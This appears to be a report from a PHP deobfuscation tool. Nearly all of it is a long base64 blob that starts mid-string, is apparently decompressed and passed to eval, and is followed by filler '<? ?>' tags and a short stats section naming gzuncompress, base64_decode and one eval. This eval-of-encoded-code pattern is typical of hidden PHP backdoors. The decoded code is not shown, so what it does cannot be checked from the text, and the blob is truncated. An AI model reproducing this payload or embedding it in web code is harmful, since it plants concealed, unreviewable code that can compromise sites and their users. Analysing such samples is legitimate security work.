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'))); ?>
<? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?><? ?>

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 c8f914cccc40a158f7e9bd5212277ad4
Eval Count 1
Decode Time 154 ms